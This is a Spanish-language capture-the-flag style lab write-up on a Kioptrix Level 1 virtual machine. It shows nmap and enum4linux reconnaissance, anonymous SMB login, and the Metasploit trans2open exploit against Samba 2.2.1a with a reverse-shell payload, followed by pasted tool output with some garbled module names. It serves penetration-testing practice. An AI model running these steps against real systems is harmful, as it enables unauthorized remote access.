



Kali Linux es una plataforma basada en GNU/Linux Debian y es la distribución mas conocida de Linux BackTrack, orientada a la realización de auditorias y pruebas de penetración o más bien es una reconstrucción completa de BackTrack la cual contiene una gran cantidad de herramientas para capturar información, identificar vulnerabilidades, explotarlas, escalar privilegios y cubrir huellas.

- » Analizaremos las vulnerabilidades que tenemos dentro de nuestra máquina virtual Kali Linux Level 1, como lo es el protocolo SMB el cual lo iremos identificando paso a paso.
- » Es necesario contar con nuestra máquina virtual Kali Linux Level 1 dentro de Kali Linux esto lo hacemos mediante VMware Workstation.
- » Tener instalado msfconsole la cual será nuestra interfaz para Metasploit.

PROCESO DE ANALISIS DE VULNERABILIDADES DE KALI LINUX LEVEL 1



Fase de Reconocimiento.

1. Abrimos una terminal en Kali Linux.
2. Digitamos el comando **ifconfig**.
Esto nos mostrará diferentes parámetros entre ellos nuestra dirección IP (dinámica o estática), o nuestra máscara de red.
3. Digitamos **sudo arp-scan -L** ([Ver POC 1](#))
Así conocemos nuestra IP en VMware.
4. Digitamos **nmap -sV -T4 -p- <nuestraIP> -vv** ([Ver POC 2](#))
Esto es para realizar un escaneo rápido e identificar los posibles puertos que se encuentran abiertos.
5. Digitamos **nmap -A -T4 -p22,80,111,139,443,32768 <nuestraIP> -vv** ([Ver POC 3](#))
Esto es para un escaneo más agresivo.



Descubriendo el Objetivo

6. Digitamos **msfconsole**

Introducimos nuestras credenciales y entramos en metasploit.

7. Digitamos **search smb** ([Ver POC 4](#))

Nos brindara toda la informacion que necesitamos acerca de este protocolo.



Samba SMB es una implementación de código abierto del protocolo Serve Message Block, Este protocolo utiliza la estructura cliente-servidor, donde el servidor tiene un sistema de archivos, recibe solicitudes de los clientes y se formula una respuesta para este.



Enumarar el Objetivo

8. Salimos de msfconsole

9. Digitamos **enum4linux <nuestraIP>** ([Ver POC 5](#))

10. Digitamos **sudo su**

Comenzaremos la enumeración de SMB/conectando a nuestra maquina de destino y esto lo haremos con un inicio de sesión anonimo, desde el modo privilegiado.

11. Digitamos **smbclient -L \\nuestraIP** ([Ver POC 6](#))

12. Digitamos **smbclient -L \\nuestraIP\ ADMIN\$** ([Ver POC 7](#))

13. Digitamos **smbclient -L \\nuestraIP\ IPC\$**

14. Digitamos **help** ([Ver POC 8](#))

Nos muestra los comando que podemos utilizar.

15. Salimos de todo digitando **exit O quit.**



Escaneando el Objetivo

16. Digitamos **msfconsole** ([Ver POC 9](#))

Ejecutaremos el escaneo de Metasploit para obtener información sobre la versión del puerto SMB

17. Dígitar **search smb** ([Ver POC 10](#))

18. Digitamos **use auxiliary/scanner/smb /smb-version**

19. Digitamos **options** ([Ver POC 11](#))

20. Digitamos **set rhost <nuestraIP>**

21. Digitamos **run** ([Ver POC 12](#))

Encontramos la versión Samba 2.2.1^a

22. Digitamos **searchsploit samba 2.2** ([Ver POC 13](#))

Para obtener más información acerca de la versión de este protocolo.



EXPLOIT SMB

23. Ingresar a **msfconsole**.

24. Dígitar **searchsploit trans2open** ([Ver POC 14](#))

25. Dígitar **search trans2open** ([Ver POC 15](#))

26. Digitamos **use 1** y luego digitamos **options** ([Ver POC 16](#))

27. Digitamos **set rhost <nuestraIP>**

Para que el exploit funcione es muy importante configurar los payloads de manera correcta.

28. Digitamos **show payloads** ([Ver POC 17](#))

Escogemos la opción correcta del payload.

29. Digitamos **set payload linux/x86/shell_reverse_tcp** y luego digitamos

options ([Ver POC 18](#))

30. Digitamos **set lhost <nuestraIP>** luego digitamos **run** ([Ver POC 19](#))

31. Digitamos **whoami** y **hostname** y veremos las respuestas obtenidas, significando así que logramos establecer una conexión. ([Ver POC 20](#))

IMPACTO:

El peligro de un ataque basado en el protocolo SMB es bastante alto, ya que por motivos de compatibilidad, en la red suelen estar activadas todas las versiones de SMB, porque así lo requieren las impresoras u otros dispositivos de red conectados. De este modo, aunque la versión antigua no se utilice realmente, esto pone la tarea fácil a los atacantes, ya que pueden bajar al nivel de comunicación SMB 1.0 y atacar el sistema deseado sin mayores obstáculos.

En el caso de un secuestro de sesión, este usa herramientas que permiten a los atacantes que tienen acceso a la misma red que el dispositivo cliente o servidor interrumpir, finalizar o robar una sesión en curso. Los atacantes pueden interceptar y modificar paquetes de bloque de mensajes de servidor (SMB) sin signo y, a continuación, modificar el tráfico y reenviarlo para que el servidor pueda realizar acciones que puedan ser inasignables. Como alternativa, el atacante podría hacerse pasar por el servidor o el dispositivo cliente después de la autenticación legítima y obtener acceso no autorizado a los datos.

MITIGACIÓN:

Deshabilitar la compresión en el protocolo SMB.

Bloquear el acceso a los puertos tcp 445 y 139 para evitar ataques de red atravez de estos.

POC - RESULTADOS

POC 1

```
└──(adriela㉿kali)-[~]
└─$ sudo arp-scan -l
[sudo] password for adriela:
Sorry, try again.
[sudo] password for adriela:
Interface: eth0, type: EN10MB, MAC: 00:1c:42:37:cc:a8, IPv4: 10.211.55.3
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.211.55.1    00:1c:42:00:00:18      Parallels, Inc.
10.211.55.2    00:1c:42:00:00:08      Parallels, Inc.
10.211.55.5    00:0c:29:04:3a:3e      VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.132 seconds (120.08 hosts/sec). 3 responded

└──(adriela㉿kali)-[~]
└─$
```

POC 2

```
└──(adriela㉿kali)-[~]
└─$ nmap -sV -T4 -p- 10.211.55.5 -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-14 11:43 CST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 11:43
Scanning 10.211.55.5 [2 ports]
Completed Ping Scan at 11:43, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:43
Completed Parallel DNS resolution of 1 host. at 11:43, 0.05s elapsed
Initiating Connect Scan at 11:43
Scanning 10.211.55.5 [65535 ports]
Discovered open port 139/tcp on 10.211.55.5
Discovered open port 80/tcp on 10.211.55.5
Discovered open port 22/tcp on 10.211.55.5
Discovered open port 443/tcp on 10.211.55.5
Discovered open port 111/tcp on 10.211.55.5
Discovered open port 32768/tcp on 10.211.55.5
Completed Connect Scan at 11:43, 6.80s elapsed (65535 total ports)
Initiating Service scan at 11:43
Scanning 6 services on 10.211.55.5
Completed Service scan at 11:43, 6.20s elapsed (6 services on 1 host)
NSE: Script scanning 10.211.55.5.
NSE: Starting runlevel 1 (of 2) scan.
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:43
Completed NSE at 11:43, 0.10s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:43
Completed NSE at 11:43, 0.01s elapsed
Nmap scan report for 10.211.55.5
Host is up, received syn-ack (0.00063s latency).
Scanned at 2021-05-14 11:43:17 CST for 13s
Not shown: 65529 closed ports
Reason: 65529 conn-refused
PORT      STATE SERVICE      REASON VERSION
22/tcp    open  ssh          syn-ack OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         syn-ack Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     syn-ack 2 (RPC #100000)
139/tcp   open  netbios-ssn  syn-ack Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   syn-ack Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status      syn-ack 1 (RPC #100024)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.76 seconds

└──(adriela㉿kali)-[~]
└─$
```

POC 3

```
(adriela㉿kali)-[~]
└─$ nmap -A -T4 -p22,80,111,139,443,32768 10.211.55.5 -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-14 11:48 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.00s elapsed
Initiating Ping Scan at 11:48
Scanning 10.211.55.5 [2 ports]
Completed Ping Scan at 11:48, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:48
Completed Parallel DNS resolution of 1 host. at 11:48, 0.02s elapsed
Initiating Connect Scan at 11:48
Scanning 10.211.55.5 [6 ports]
Discovered open port 22/tcp on 10.211.55.5
Discovered open port 111/tcp on 10.211.55.5
Discovered open port 139/tcp on 10.211.55.5
Discovered open port 443/tcp on 10.211.55.5
Discovered open port 80/tcp on 10.211.55.5
Discovered open port 32768/tcp on 10.211.55.5
Completed Connect Scan at 11:48, 0.00s elapsed (6 total ports)
Initiating Service scan at 11:48
Scanning 6 services on 10.211.55.5
Completed Service scan at 11:48, 6.03s elapsed (6 services on 1 host)
NSE: Script scanning 10.211.55.5.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:48
NSE Timing: About 99.88% done; ETC: 11:48 (0:00:00 remaining)
Completed NSE at 11:49, 50.54s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:49
Completed NSE at 11:49, 0.26s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:49
Completed NSE at 11:49, 0.00s elapsed
Nmap scan report for 10.211.55.5
Host is up, received syn-ack (0.00059s latency).
Scanned at 2021-05-14 11:48:10 CST for 57s

PORT      STATE SERVICE      REASON VERSION
22/tcp    open  ssh          syn-ack OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024  b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024  35  100482002053601530027446085143812377560025655104254170270380314520841776840335628258402004
```

POC 4

Matching Modules						
#	Name	Disclosure Date	Rank	Check	Description	
-	---					
0	exploit/multi/http/struts_code_exec_classloader	2014-03-06	manual	No	Apache Struts ClassLoader Man	
1	exploit/osx/browser/safari_file_policy	2011-10-12	normal	No	Apple Safari file:// Arbitrary	
2	auxiliary/server/capture/ smb		normal	No	Authentication Capture: SMB	
3	post/linux/busybox/ smb_share_root		normal	No	BusyBox SMB Sharing	
4	auxiliary/scanner/http/citrix_dir_traversal	2019-12-17	normal	No	Citrix ADC (NetScaler) Direct	
5	auxiliary/scanner/ smb /impacket/dcomexec	2018-03-19	normal	No	DCOM Exec	
6	auxiliary/scanner/ smb /impacket/secretsdump		normal	No	DCOM Exec	
7	exploit/windows/scada/ge_proficy_cimplicity_gefebt	2014-01-23	excellent	Yes	GE Proficy CIMPPLICITY gefebt.	
8	exploit/windows/ smb /generic_smb_dll_injection	2015-03-04	manual	No	Generic DLL Injection From Sh	
9	exploit/windows/http/generic_http_dll_injection	2015-03-04	manual	No	Generic Web Application DLL I	
10	exploit/windows/ smb /group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution	
11	exploit/windows/misc/hp_dataprotection_install_service	2011-11-02	excellent	Yes	HP Data Protector 6.10/6.11/6	
12	exploit/windows/misc/hp_dataprotection_cmd_exec	2014-11-02	excellent	Yes	HP Data Protector 8.10 Remote	
13	auxiliary/server/ntlmrelay		normal	No	HTTP Client MS Credential Rel	
14	exploit/windows/ smb /ipass_pipe_exec	2015-01-21	excellent	Yes	IPass Control Pipe Remote Com	
15	auxiliary/gather/konica_minolta_pwd_extract		normal	No	Konica Minolta Password Extra	
16	auxiliary/fileformat/odt_badotti	2018-05-01	normal	No	LibreOffice 6.0.3 /Apache Open	
17	post/linux/gather/mount_cifs_creds		normal	No	Linux Gather Saved mount.cifs	
18	exploit/windows/ smb /ms03_049_ntapi	2003-11-11	good	No	MS03-049 Microsoft Workstatio	
19	exploit/windows/ smb /ms04_007_killbill	2004-02-10	low	No	MS04-007 Microsoft ASN.1 Libr	
20	exploit/windows/ smb /ms04_011_lsass	2004-04-13	good	No	MS04-011 Microsoft LSASS Serv	
21	exploit/windows/ smb /ms04_031_ntetdde	2004-10-12	good	No	MS04-031 Microsoft NetDDE Ser	
22	exploit/windows/ smb /ms05_039_pnp	2005-08-09	good	Yes	MS05-039 Microsoft Plug and P	
23	exploit/windows/ smb /ms06_025_rras	2006-06-13	average	No	MS06-025 Microsoft RRAS Servi	
24	exploit/windows/ smb /ms06_025_rasmans_reg	2006-06-13	good	No	MS06-025 Microsoft RRAS Servi	
25	exploit/windows/ smb /ms06_040_ntapi	2006-08-08	good	No	MS06-040 Microsoft Server Ser	
26	exploit/windows/ smb /ms06_066_nwapi	2006-11-14	good	No	MS06-066 Microsoft Services n	
27	exploit/windows/ smb /ms06_066_nwks	2006-11-14	good	No	MS06-066 Microsoft Services n	
28	exploit/windows/ smb /ms06_070_wkssc	2006-11-14	manual	No	MS06-070 Microsoft Workstatio	
29	exploit/windows/ smb /ms07_029_msdns_zonename	2007-04-12	manual	No	MS07-029 Microsoft DNS RPC Se	
30	exploit/windows/ smb /ms08_067_ntapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Ser	
31	exploit/windows/ smb / smb _relay	2001-03-31	excellent	No	MS08-068 Microsoft Windows S	
32	exploit/windows/ smb /ms09_050_smb2_negotiate_func_index	2009-09-07	good	No	MS09-050 Microsoft SRV2.SYS S	
33	exploit/windows/browser/ms10_022_ie_vbscript_winhlp32	2010-02-26	great	No	MS10-022 Microsoft Internet E	
34	exploit/windows/ smb /ms10_061_spools	2010-09-14	excellent	No	MS10-061 Microsoft Print Spoo	
35	exploit/windows/fileformat/ms13_071_theme	2013-09-10	excellent	No	MS13-071 Microsoft Windows Th	
36	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Windows OL	
37	exploit/windows/ smb /ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remo	
38	exploit/windows/ smb /ms17_010_eternalblue_win8	2017-03-14	average	No	MS17-010 EternalBlue SMB Remo	
39	exploit/windows/ smb /ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/Etern	
40	auxiliary/admin/ smb /ms17_010_command		normal	No	MS17-010 EternalRomance/Etern	
41	auxiliary/scanner/ smb / smb _ms17_010		normal	No	MS17-010 SMB RCE Detection	
42	auxiliary/dos/windows/ smb /ms05_047_pnp		normal	No	Microsoft Plug and Play Servi	
43	auxiliary/dos/windows/ smb /ms05_047_pnp		normal	No	Microsoft Plug and Play Service Regi	
44	auxiliary/admin/mssql/mssql_ntlm_stea	2006-06-14	normal	No	Microsoft RRAS InterfaceAdjustLSPo	
45	auxiliary/admin/mssql/mssql_ntlm_stea		normal	No	Microsoft SQL Server NTLM Steal	
46	auxiliary/admin/mssql/mssql_enum_domain_accounts_sq		normal	No	Microsoft SQL Server SQLi SUSER_SNAME	
47	auxiliary/admin/mssql/mssql_enum_domain_accounts		normal	No	Microsoft SQL Server SQLi SUSER_SNAME	
48	auxiliary/admin/mssql/mssql_enum_domain_accounts		normal	No	Microsoft SQL Server SQLi SUSER_SNAME	
49	auxiliary/dos/windows/ smb /ms06_031_killbot	2006-07-11	normal	No	Microsoft SRV-SVNSploit Write to Win	
50	auxiliary/dos/windows/ smb /ms06_063_trans		normal	No	Microsoft SRV-SVNSploit Write to Win	
51	auxiliary/dos/windows/ smb /ms09_050_smb2_negotiate_pidhigh		normal	No	Microsoft SRV-SYS Pipe Transaction N	
52	auxiliary/dos/windows/ smb /ms09_050_smb2_session_logoff		normal	No	Microsoft SRV-SYS WriteAndX Invalid I	
53	auxiliary/dos/windows/ smb /vista_negotiate_stop		normal	No	Microsoft SRV2.SYS SMB Negotiate Pro	
54	auxiliary/dos/windows/ smb /ms10_008_negotiate_response_lo		normal	No	Microsoft Vista SP2 SMB Negotiate Pro	
55	auxiliary/scanner/ smb /psexec_loggedin_users		normal	No	Microsoft Windows Authenticated Logon	
56	exploit/windows/ smb /psexec	1999-01-01	manual	No	Microsoft Windows Authenticated User	
57	auxiliary/dos/windows/ smb /ms11_019_electbowser		normal	No	Microsoft Windows Browser Pool Dos	
58	exploit/windows/ smb /rras_erraticcopher	2017-06-13	average	Yes	Microsoft Windows RRAS Service MIDEN	
59	auxiliary/dos/windows/ smb /ms10_054_queryfs_pool_overflow		normal	No	Microsoft Windows SRV.SYS Srv Smb Query	
60	exploit/windows/ smb /ms10_054_queryfs_pool_overflow		excellent	No	Microsoft Windows SRV.SYS Srv Smb Query	
61	exploit/windows/ smb /ms15_020_shortcut_icon_dilloader	2015-03-10	excellent	No	Microsoft Windows Shell Link Code Exec	
62	auxiliary/doc/word_unc_injector		normal	No	Microsoft Word UNC Path Injector	
63	auxiliary/spoof/nbns/nbns_response		normal	No	NetBIOS Name Service Spoofe	
64	exploit/windows/ smb /netidentity_xtierpcpipe	2009-04-06	great	No	Novell NetIdentity Agent XTIERRPCPIPE	
65	exploit/middleware/ smb /lsass_cifs	2007-01-21	average	No	Novell NetWare LSASS CIFS NLM Driver	
66	exploit/windows/oracle/extjob	2007-01-01	excellent	No	Oracle Job Scheduler Named Pipe Comm	
67	auxiliary/admin/ smb /psexec_ntlm_stea	2009-04-07	normal	No	PExe NTDS.dit And SYSTEM Hive Down	
68	auxiliary/admin/ smb /psexec_ntdsgrab		normal	No	SAP SMB Relay Abuse	
69	auxiliary/scanner/sap/ smb _relay		normal	No	SAP SMB Relay Abuse	
70	auxiliary/dos/sap/ smb _soar_rfcs_delete_file		normal	No	SAP SOAP EPS_DELETE_FILE File Deleti	
71	auxiliary/scanner/sap/ smb _soar_rfcs_get_directory_listing		normal	No	SAP SOAP RFC_EPS_GET_DIRECTORY_LISTI	
72	auxiliary/scanner/sap/ smb _soar_rfcs_pfl_check_os_file_existe		normal	No	SAP SOAP RFC_PFL_CHECK_OS_FILE_EXISTI	
73	auxiliary/scanner/sap/ smb _soar_rfcs_pfl_read_dir		normal	No	SAP SOAP RFC_PFL_READ_DIR File Read D	
74	auxiliary/fuzzers/ smb /create_pipe_corrupt		normal	No	SMB Create Pipe Request Corruption	
75	auxiliary/scanner/ smb / smb _create_pipe		normal	No	SMB Create Pipe Request Fuzzer	
76	exploit/windows/ smb / smb _doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execut	
77	exploit/windows/ smb / smb _delivery	2016-07-26	excellent	No	SMB Delivery	
78	auxiliary/admin/ smb /list_directory		normal	No	SMB Directory Listing Utility	
79	auxiliary/scanner/ smb /enum_users_domain		normal	No	SMB Domain Enumeration	
80	auxiliary/scanner/ smb /delete_file		normal	No	SMB Delete Utility	
81	auxiliary/admin/ smb /download_file		normal	No	SMB File Download Utility	
82	auxiliary/admin/ smb /upload_file		normal	No	SMB File Upload Utility	
83	auxiliary/scanner/ smb / smb _enum_gpp		normal	No	SMB Group Policy Preference Saved Pa	
84	auxiliary/scanner/ smb / smb _login		normal	No	SMB Login Check Scanner	
85	auxiliary/fuzzers/ smb / smb _ntlm1_login_corrupt		normal	No	SMB NTLMv1 Login Request Corruption	
86	auxiliary/fuzzers/ smb / smb _ntlm2_login_corrupt		normal	No	SMB NTLMv2 Login Request Corruption	
87	auxiliary/fuzzers/ smb / smb _negotiate_corrupt		normal	No	SMB Negotiate SMB 2 Dialect Corruption	
88	auxiliary/scanner/ smb / smb _lookupsid		normal	No	SMB SID User Enumeration (LookupSid)	
89	auxiliary/admin/ smb /check_dir_file		normal	No	SMB Scanner Check File/Directory Ut	
90	auxiliary/scanner/ smb / smb _pipe_auditor		normal	No	SMB Session Pipe Auditor	
91	auxiliary/scanner/ smb / smb _dcerpc_auditor		normal	No	SMB Session Pipe DCERPC Auditor	

adriela@kali: ~

POC 5

```
adriela@kali: ~
└$ enum4linux 10.211.55.5
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri May 14 11
:58:21 2021

=====
| Target Information |
=====
Target ..... 10.211.55.5
RID Range ..... 500-550,1000-1050
Username .....
Password .....
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

=====
| Enumerating Workgroup/Domain on 10.211.55.5 |
=====
[+] Got domain/workgroup name: MYGROUP

=====
| Nbtstat Information for 10.211.55.5 |
=====
Looking up status of 10.211.55.5
    KIOPTRIX      <00> -          B <ACTIVE>  Workstation Service
    KIOPTRIX      <03> -          B <ACTIVE>  Messenger Service
    KIOPTRIX      <20> -          B <ACTIVE>  File Server Service
    ..._MSBROWSE_. <01> - <GROUP> B <ACTIVE>  Master Browser
    MYGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
    MYGROUP       <1d> -          B <ACTIVE>  Master Browser
    MYGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

    MAC Address = 00-00-00-00-00-00

=====
| Session Check on 10.211.55.5 |
=====
[+] Server 10.211.55.5 allows sessions using username '', password ''

=====
| Getting domain SID for 10.211.55.5 |
=====
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

=====
| OS information on 10.211.55.5 |
=====
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.211.55.5 from smbclient:
[+] Got OS info for 10.211.55.5 from srvinfo:
=====
| OS information on 10.211.55.5 |
=====
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.211.55.5 from smbclient:
[+] Got OS info for 10.211.55.5 from srvinfo:
    KIOPTRIX      Wk Sv PrQ Unx NT SNT Samba Server
    platform_id   :      500
    os version    :      4.5
    server type   : 0x9a03

=====
| Users on 10.211.55.5 |
=====
Use of uninitialized value $users in print at ./enum4linux.pl line 874.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877.

Use of uninitialized value $users in print at ./enum4linux.pl line 888.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890.

=====
| Share Enumeration on 10.211.55.5 |
=====
    Sharename     Type      Comment
    -----        ----
    IPC$          IPC       IPC Service (Samba Server)
    ADMIN$        IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.

    Server           Comment
    -----           -----
    KIOPTRIX         Samba Server

    Workgroup       Master
    -----           -----
    MYGROUP          KIOPTRIX

[+] Attempting to map shares on 10.211.55.5
//10.211.55.5/IPC$ [E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//10.211.55.5/ADMIN$ [E] Can't understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD

=====
| Password Policy Information for 10.211.55.5 |
=====
[E] Unexpected error from polenum:
```

POC 6

```
root@kali:/home/adriela
S-1-5-21-4157223341-3243572438-1405127623-1040 KIOPTRIX\unix_user.20 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1041 KIOPTRIX\games (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1042 KIOPTRIX\unix_user.21 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1043 KIOPTRIX\slocate (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1044 KIOPTRIX\unix_user.22 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1045 KIOPTRIX\utmp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1046 KIOPTRIX\squid (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1047 KIOPTRIX\squid (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1048 KIOPTRIX\unix_user.24 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1049 KIOPTRIX\unix_group.24 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1050 KIOPTRIX\unix_user.25 (Local User)

=====
| Getting printer info for 10.211.55.5 |
=====

No printers returned.

enum4linux complete on Fri May 14 11:58:32 2021

└──(adriela㉿kali)-[~]
└─$ sudo su
[sudo] password for adriela:
└──(root㉿kali)-[/home/adriela]
└─# smbclient -L \\\\10.211.55.5\\
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\\root's password:

      Sharename      Type      Comment
-----  -----  -----
IPC$      IPC      IPC Service (Samba Server)
ADMIN$    IPC      IPC Service (Samba Server)

Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful

      Server          Comment
-----  -----
KIOPTRIX        Samba Server

      Workgroup       Master
-----  -----
MYGROUP         KIOPTRIX
```

POC 7

```
└──(root㉿kali)-[~/home/adriela]
└─# smbclient \\\\10.211.55.5\\\\ADMIN$ 
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\\root's password:
tree connect failed: NT_STATUS_WRONG_PASSWORD
```

POC 8

```
[root@kali]# smbclient \\\\10.211.55.5\\IPC$  
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set  
Anonymous login successful  
Enter WORKGROUP\\root's password:  
Try "help" to get a list of possible commands.  
smb: > help  
? allinfo altname archive backup  
blocksize cancel case_sensitive cd chmod  
chown close del deltree dir  
du echo exit get getfacl  
getreas hardlink help history iosize  
lcd link lock lowercase ls  
l mask md mget mkdir  
more mput newer notify open  
posix posix_encrypt posix_open posix_mkdir posix_rmdir  
posix_unlink posix_whoami print prompt put  
pwd q queue quit readlink  
rd recurse reget rename reput  
rm rmdir showaclc setea setmode  
scopy stat symlink tar tarmode  
timeout translate unlock volume vuid  
wdel logon listconnect showconnect tcon  
tdis tid utimes logoff ..  
!  
smb: > |
```

POC 9

```
[~] (adriela㉿kali)-[~]
$ msfconsole
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.

= [ metasploit v6.0.42-dev- ] ]
+ -- --=[ 2123 exploits - 1138 auxiliary - 361 post ] ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ] ]
+ -- --=[ 8 evasion ] ]

Metasploit tip: Use the edit command to open the
currently active module in your editor

msf6 > [
```

POC 10

#	Name	Disclosure Date	Rank	Check	Description
=====					
0	exploit/multi/http.struts_code_exec_classloader	2014-03-06	manual	No	Apache Struts ClassLoader Manipulation
1	exploit/osx/browser/safari_file_policy	2011-10-12	normal	No	Apple Safari file:// Arbitrary Code Execution
2	auxiliary/server/capture/ smb		normal	No	Authentication Capture: SMB
3	post/linux/busybox/ smb _share_root		normal	No	BusyBox SMB Sharing
4	auxiliary/scanner/http/citrix_dir_traversal	2019-12-17	normal	No	Citrix ADC (NetScaler) Directory Traversal
5	auxiliary/scanner/ smb /impacket/dcomexec	2018-03-19	normal	No	DCOM Exec
6	auxiliary/scanner/ smb /impacket/secretsdump		normal	No	DCOM Exec
7	exploit/windows/scada/gp_profcy_cimplicity_gefebt	2014-01-23	excellent	Yes	GE Profcy CIMPPLICITY gefebt.exe Remote
8	exploit/windows/ smb /generic_ smb _dll_injection	2015-03-04	manual	No	Generic DLL Injection From Shared Resource
9	exploit/windows/http/generic_httpp_dll_injection	2015-03-04	manual	No	Generic Web Application DLL Injection
10	exploit/windows/ smb /group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution From Shared Resource
11	exploit/windows/misc/hp_dataprotector_install_service	2011-11-02	excellent	Yes	HP Data Protector 6.10/6.11/6.20 Installation
12	exploit/windows/misc/hp_dataprotector_cmd_exec	2014-11-02	excellent	Yes	HP Data Protector 8.10 Remote Command Execution
13	auxiliary/server/http_ntlmrelay		normal	No	HTTP Client MS Credential Relayer
14	exploit/windows/ smb /ipass_pipe_exec	2015-01-21	excellent	Yes	IPass Control Pipe Remote Command Execution
15	auxiliary/gather/konica_minolta_pwd_extract		normal	No	Konica Minolta Password Extractor
16	auxiliary/fileformat/odf_baddot	2018-05-01	normal	No	LibreOffice 6.0.3 /Apache OpenOffice 4.1.1 ODF Document Format
17	post/linux/gather/mount_cifs_creds		normal	No	Linux Gather Saved mount.cifs/mount. smb
18	exploit/windows/ smb /ms03_049_netapi	2003-11-11	good	No	MS03-049 Microsoft Workstation Service
19	exploit/windows/ smb /ms04_007_killbill	2004-02-10	low	No	MS04-007 Microsoft ASN.1 Library Bits
20	exploit/windows/ smb /ms04_011_lsass	2004-04-13	good	No	MS04-011 Microsoft LSASS Service DsRole
21	exploit/windows/ smb /ms04_031_nttde	2004-10-12	good	No	MS04-031 Microsoft NetDE Service Over
22	exploit/windows/ smb /ms05_039_pnp	2005-08-09	good	Yes	MS05-039 Microsoft Plug and Play Service
23	exploit/windows/ smb /ms06_025_rras	2006-06-13	average	No	MS06-025 Microsoft RRAS Service Over
24	exploit/windows/ smb /ms06_025_rasmans_reg	2006-06-13	good	No	MS06-025 Microsoft RRAS Service RASMAN
25	exploit/windows/ smb /ms06_040_netapi	2006-08-08	good	No	MS06-040 Microsoft Server Service Net
26	exploit/windows/ smb /ms06_066_nwapi	2006-11-14	good	No	MS06-066 Microsoft Services nwapi32.dll
27	exploit/windows/ smb /ms06_066_nwiks	2006-11-14	good	No	MS06-066 Microsoft Services nwiks.dll
28	exploit/windows/ smb /ms06_070_wkssvc	2006-11-14	manual	No	MS06-070 Microsoft Workstation Service
29	exploit/windows/ smb /ms07_029_msdns_zoneename	2007-04-12	manual	No	MS07-029 Microsoft DNS RPC Service ex
30	exploit/windows/ smb /ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Rel
31	exploit/windows/ smb _relay	2001-03-31	excellent	No	MS08-068 Microsoft Windows SMB Relay
32	exploit/windows/ smb /ms09_050_ smb _negotiate_func_index	2009-09-07	good	No	MS09-050 Microsoft SRV2.SYS SMB Negot
